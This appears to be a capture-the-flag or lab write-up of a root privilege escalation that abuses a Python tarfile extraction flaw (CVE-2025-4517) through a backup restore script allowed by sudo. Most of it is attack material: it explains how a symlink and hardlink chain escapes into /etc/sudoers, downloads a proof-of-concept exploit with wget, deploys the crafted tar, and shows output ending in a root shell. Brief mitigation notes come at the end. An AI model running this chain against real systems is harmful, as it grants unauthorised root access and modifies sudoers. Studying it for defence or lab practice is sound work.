1. Create deep nested directories (path confusion)
   └─ Uses 247-character directory names repeated 16 levels deep

2. Build symlink chain for traversal
   └─ Creates symlinks that resolve upward through directory tree

3. Escape symlink to target directory (/etc)
   └─ Final symlink points outside extraction boundary

4. Create hardlink pointing through escape symlink
   └─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. Write content to hardlink
   └─ Writing to "sudoers_link" actually writes to /etc/sudoers

# Vulnerable code snippet
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

# Download the exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Move to target system

# Run the exploit
./exploit.py

# Or with Python
python3 exploit.py

# 1. Create the exploit tar
python3 exploit.py --create-only

# 2. Deploy to target
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. Execute via vulnerable script
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. Verify sudoers modification
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. Get root
sudo /bin/bash

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝

[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

   python3 --version  # Check version

   # Check for suspicious members before extraction
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("Symlinks/hardlinks not allowed")

   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("Path traversal detected")

   # Remove or restrict backup script sudo access
   visudo

   # Check tar contents before extraction
   tar -tzf archive.tar | grep -E '\.\./|^/'

   # Setup AIDE or similar IDS
   aide --check